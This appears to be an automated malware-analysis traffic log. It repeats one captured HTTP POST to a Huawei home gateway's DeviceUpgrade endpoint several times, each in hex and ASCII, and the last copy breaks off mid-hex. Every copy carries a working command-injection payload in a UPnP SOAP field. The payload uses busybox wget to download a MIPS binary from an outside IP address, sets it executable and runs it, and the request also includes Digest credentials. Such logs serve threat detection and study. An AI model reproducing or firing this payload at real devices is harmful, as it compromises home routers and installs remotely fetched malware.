      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 